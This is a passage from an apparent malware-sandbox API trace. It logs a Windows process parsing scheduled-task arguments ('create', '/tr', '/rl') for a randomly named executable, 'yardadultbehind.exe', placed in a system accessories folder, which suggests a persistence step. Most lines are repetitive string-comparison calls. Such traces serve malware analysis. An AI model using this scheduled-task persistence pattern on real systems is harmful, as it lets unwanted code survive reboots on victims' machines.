(lpString="tr") returned 2 [0161.867] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.867] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|m|") returned 3 [0161.867] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.867] lstrlenW (lpString="|m|") returned 3 [0161.867] lstrlenW (lpString="|tr|") returned 4 [0161.867] SetLastError (dwErrCode=0x490) [0161.867] lstrlenW (lpString="i") returned 1 [0161.867] lstrlenW (lpString="i") returned 1 [0161.867] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.867] lstrlenW (lpString="tr") returned 2 [0161.867] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.868] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|i|") returned 3 [0161.868] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.868] lstrlenW (lpString="|i|") returned 3 [0161.868] lstrlenW (lpString="|tr|") returned 4 [0161.868] SetLastError (dwErrCode=0x490) [0161.868] lstrlenW (lpString="tn") returned 2 [0161.868] lstrlenW (lpString="tn") returned 2 [0161.868] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.868] lstrlenW (lpString="tr") returned 2 [0161.868] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.868] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.868] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.868] lstrlenW (lpString="|tn|") returned 4 [0161.868] lstrlenW (lpString="|tr|") returned 4 [0161.868] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0161.868] SetLastError (dwErrCode=0x490) [0161.868] lstrlenW (lpString="tr") returned 2 [0161.868] lstrlenW (lpString="tr") returned 2 [0161.868] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.868] lstrlenW (lpString="tr") returned 2 [0161.868] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.868] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.868] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.868] lstrlenW (lpString="|tr|") returned 4 [0161.868] lstrlenW (lpString="|tr|") returned 4 [0161.869] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0161.869] SetLastError (dwErrCode=0x0) [0161.869] SetLastError (dwErrCode=0x0) [0161.869] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.869] lstrlenW (lpString="-/") returned 2 [0161.869] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0161.869] SetLastError (dwErrCode=0x490) [0161.869] SetLastError (dwErrCode=0x490) [0161.869] SetLastError (dwErrCode=0x0) [0161.869] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.869] StrChrIW (lpStart="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'", wMatch=0x3a) returned=":\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'" [0161.869] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.869] _memicmp (_Buf1=0x15c320, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.869] _memicmp (_Buf1=0x15c360, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.869] SetLastError (dwErrCode=0x7a) [0161.869] SetLastError (dwErrCode=0x0) [0161.869] SetLastError (dwErrCode=0x0) [0161.869] lstrlenW (lpString="'C") returned 2 [0161.869] lstrlenW (lpString="-/") returned 2 [0161.869] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0161.869] SetLastError (dwErrCode=0x490) [0161.869] SetLastError (dwErrCode=0x490) [0161.869] SetLastError (dwErrCode=0x0) [0161.869] _memicmp (_Buf1=0x15d570, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.869] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.869] GetProcessHeap () returned 0x140000 [0161.869] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d590) returned 1 [0161.869] GetProcessHeap () returned 0x140000 [0161.869] RtlReAllocateHeap (Heap=0x140000, Flags=0xc, Ptr=0x15d590, Size=0x88) returned 0x15c420 [0161.869] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.870] lstrlenW (lpString=" \x09") returned 2 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0161.870] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0161.870] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0161.871] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0161.871] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0161.872] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0161.872] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.872] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0161.872] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0161.872] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0161.872] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0161.872] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0161.872] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.872] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0161.872] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.872] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0161.872] GetLastError () returned 0x0 [0161.872] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.872] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.872] SetLastError (dwErrCode=0x0) [0161.872] SetLastError (dwErrCode=0x0) [0161.872] lstrlenW (lpString="/rl") returned 3 [0161.872] lstrlenW (lpString="-/") returned 2 [0161.872] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.872] lstrlenW (lpString="create") returned 6 [0161.872] lstrlenW (lpString="create") returned 6 [0161.872] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.872] lstrlenW (lpString="rl") returned 2 [0161.872] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.872] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|create|") returned 8 [0161.872] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.872] lstrlenW (lpString="|create|") returned 8 [0161.872] lstrlenW (lpString="|rl|") returned 4 [0161.873] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0161.873] SetLastError (dwErrCode=0x490) [0161.873] lstrlenW (lpString="?") returned 1 [0161.873] lstrlenW (lpString="?") returned 1 [0161.873] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.873] lstrlenW (lpString="rl") returned 2 [0161.873] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.873] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|?|") returned 3 [0161.873] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.873] lstrlenW (lpString="|?|") returned 3 [0161.873] lstrlenW (lpString="|rl|") returned 4 [0161.873] SetLastError (dwErrCode=0x490) [0161.873] lstrlenW (lpString="s") returned 1 [0161.873] lstrlenW (lpString="s") returned 1 [0161.873] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.873] lstrlenW (lpString="rl") returned 2 [0161.873] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.873] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|s|") returned 3 [0161.873] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.873] lstrlenW (lpString="|s|") returned 3 [0161.873] lstrlenW (lpString="|rl|") returned 4 [0161.873] SetLastError (dwErrCode=0x490) [0161.873] lstrlenW (lpString="u") returned 1 [0161.873] lstrlenW (lpString="u") returned 1 [0161.873] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.873] lstrlenW (lpString="rl") returned 2 [0161.873] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.874] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|u|") returned 3 [0161.874] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.874] lstrlenW (lpString="|u|") returned 3 [0161.874] lstrlenW (lpString="|rl|") returned 4 [0161.874] SetLastError (dwErrCode=0x490) [0161.874] lstrlenW (lpString="p") returned 1 [0161.874] lstrlenW (lpString="p") returned 1 [0161.874] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.874] lstrlenW (lpString="rl") returned 2 [0161.874] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.874] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|p|") returned 3 [0161.874] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.874] lstrlenW (lpString="|p|") returned 3 [0161.874] lstrlenW (lpString="|rl|") returned 4 [0161.874] SetLastError (dwErrCode=0x490) [0161.874] lstrlenW (lpString="ru") returned 2 [0161.874] lstrlenW (lpString="ru") returned 2 [0161.874] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.874] lstrlenW (lpString="rl") returned 2 [0161.874] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.874] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|ru|") returned 4 [0161.874] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.874] lstrlenW (lpString="|ru|") returned 4 [0161.874] lstrlenW (lpString="|rl|") returned 4 [0161.874] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0161.874] SetLastError (dwErrCode=0x490) [0161.875] lstrlenW (lpString="rp") returned 2 [0161.875] lstrlenW (lpString="rp") returned 2 [0161.875] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.875] lstrlenW (lpString="rl") returned 2 [0161.875] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.875] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rp|") returned 4 [0161.875] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.875] lstrlenW (lpString="|rp|") returned 4 [0161.875] lstrlenW (lpString="|rl|") returned 4 [0161.875] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0161.875] SetLastError (dwErrCode=0x490) [0161.875] lstrlenW (lpString="sc") returned 2 [0161.875] lstrlenW (lpString="sc") returned 2 [0161.875] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.875] lstrlenW (lpString="rl") returned 2 [0161.875] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.875] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sc|") returned 4 [0161.875] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.875] lstrlenW (lpString="|sc|") returned 4 [0161.875] lstrlenW (lpString="|rl|") returned 4 [0161.875] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0161.875] SetLastError (dwErrCode=0x490) [0161.875] lstrlenW (lpString="mo") returned 2 [0161.875] lstrlenW (lpString="mo") returned 2 [0161.875] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.875] lstrlenW (lpString="rl") returned 2 [0161.875] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.876] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|mo|") returned 4 [0161.876] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.876] lstrlenW (lpString="|mo|") returned 4 [0161.876] lstrlenW (lpString="|rl|") returned 4 [0161.876] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0161.876] SetLastError (dwErrCode=0x490) [0161.876] lstrlenW (lpString="d") returned 1 [0161.876] lstrlenW (lpString="d") returned 1 [0161.876] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.876] lstrlenW (lpString="rl") returned 2 [0161.876] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.876] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|d|") returned 3 [0161.876] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.876] lstrlenW (lpString="|d|") returned 3 [0161.876] lstrlenW (lpString="|rl|") returned 4 [0161.876] SetLastError (dwErrCode=0x490) [0161.876] lstrlenW (lpString="m") returned 1 [0161.876] lstrlenW (lpString="m") returned 1 [0161.876] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.876] lstrlenW (lpString="rl") returned 2 [0161.876] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.876] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|m|") returned 3 [0161.876] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.876] lstrlenW (lpString="|m|") returned 3 [0161.876] lstrlenW (lpString="|rl|") returned 4 [0161.876] SetLastError (dwErrCode=0x490) [0161.876] lstrlenW (lpString="i") returned 1 [0161.877] lstrlenW (lpString="i") returned 1 [0161.877] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.877] lstrlenW (lpString="rl") returned 2 [0161.877] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.877] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|i|") returned 3 [0161.877] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.877] lstrlenW (lpString="|i|") returned 3 [0161.877] lstrlenW (lpString="|rl|") returned 4 [0161.877] SetLastError (dwErrCode=0x490) [0161.877] lstrlenW (lpString="tn") returned 2 [0161.877] lstrlenW (lpString="tn") returned 2 [0161.877] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.877] lstrlenW (lpString="rl") returned 2 [0161.877] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.877] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.877] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.877] lstrlenW (lpString="|tn|") returned 4 [0161.877] lstrlenW (lpString="|rl|") returned 4 [0161.877] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0161.877] SetLastError (dwErrCode=0x490) [0161.877] lstrlenW (lpString="tr") returned 2 [0161.877] lstrlenW (lpString="tr") returned 2 [0161.877] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.877] lstrlenW (lpString="rl") returned 2 [0161.877] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.877] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.877] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.878] lstrlenW (lpString="|tr|") returned 4 [0161.878] lstrlenW (lpString="|rl|") returned 4 [0161.878] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0161.878] SetLastError (dwErrCode=0x490) [0161.878] lstrlenW (lpString="st") returned 2 [0161.878] lstrlenW (lpString="st") returned 2 [0161.878] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.878] lstrlenW (lpString="rl") returned 2 [0161.878] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.878] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|st|") returned 4 [0161.878] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.878] lstrlenW (lpString="|st|") returned 4 [0161.878] lstrlenW (lpString="|rl|") returned 4 [0161.878] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0161.878] SetLastError (dwErrCode=0x490) [0161.878] lstrlenW (lpString="sd") returned 2 [0161.878] lstrlenW (lpString="sd") returned 2 [0161.878] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.878] lstrlenW (lpString="rl") returned 2 [0161.878] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.878] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sd|") returned 4 [0161.878] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.878] lstrlenW (lpString="|sd|") returned 4 [0161.878] lstrlenW (lpString="|rl|") returned 4 [0161.878] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0161.878] SetLastError (dwErrCode=0x490) [0161.878] lstrlenW (lpString="ed") returned 2 [0161.879] lstrlenW (lpString="ed") returned 2 [0161.879] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.879] lstrlenW (lpString="rl") returned 2 [0161.879] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.879] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|ed|") returned 4 [0161.879] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.879] lstrlenW (lpString="|ed|") returned 4 [0161.879] lstrlenW (lpString="|rl|") returned 4 [0161.879] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0161.879] SetLastError (dwErrCode=0x490) [0161.879] lstrlenW (lpString="it") returned 2 [0161.879] lstrlenW (lpString="it") returned 2 [0161.879] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.879] lstrlenW (lpString="rl") returned 2 [0161.879] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.879] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|it|") returned 4 [0161.879] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.879] lstrlenW (lpString="|it|") returned 4 [0161.879] lstrlenW (lpString="|rl|") returned 4 [0161.879] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0161.879] SetLastError (dwErrCode=0x490) [0161.879] lstrlenW (lpString="et") returned 2 [0161.879] lstrlenW (lpString="et") returned 2 [0161.879] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.879] lstrlenW (lpString="rl") returned 2 [0161.879] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.880] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|et|") returned 4 [0161.880] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.880] lstrlenW (lpString="|et|") returned 4 [0161.880] lstrlenW (lpString="|rl|") returned 4 [0161.880] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0161.880] SetLastError (dwErrCode=0x490) [0161.880] lstrlenW (lpString="k") returned 1 [0161.880] lstrlenW (lpString="k") returned 1 [0161.880] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.880] lstrlenW (lpString="rl") returned 2 [0161.880] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.880] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|k|") returned 3 [0161.880] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.880] lstrlenW (lpString="|k|") returned 3 [0161.880] lstrlenW (lpString="|rl|") returned 4 [0161.880] SetLastError (dwErrCode=0x490) [0161.880] lstrlenW (lpString="du") returned 2 [0161.880] lstrlenW (lpString="du") returned 2 [0161.880] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.880] lstrlenW (lpString="rl") returned 2 [0161.880] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.880] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|du|") returned 4 [0161.880] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.880] lstrlenW (lpString="|du|") returned 4 [0161.880] lstrlenW (lpString="|rl|") returned 4 [0161.880] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0161.880] SetLastError (dwErrCode=0x490) [0161.881] lstrlenW (lpString="ri") returned 2 [0161.881] lstrlenW (lpString="ri") returned 2 [0161.881] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.881] lstrlenW (lpString="rl") returned 2 [0161.881] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.881] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, 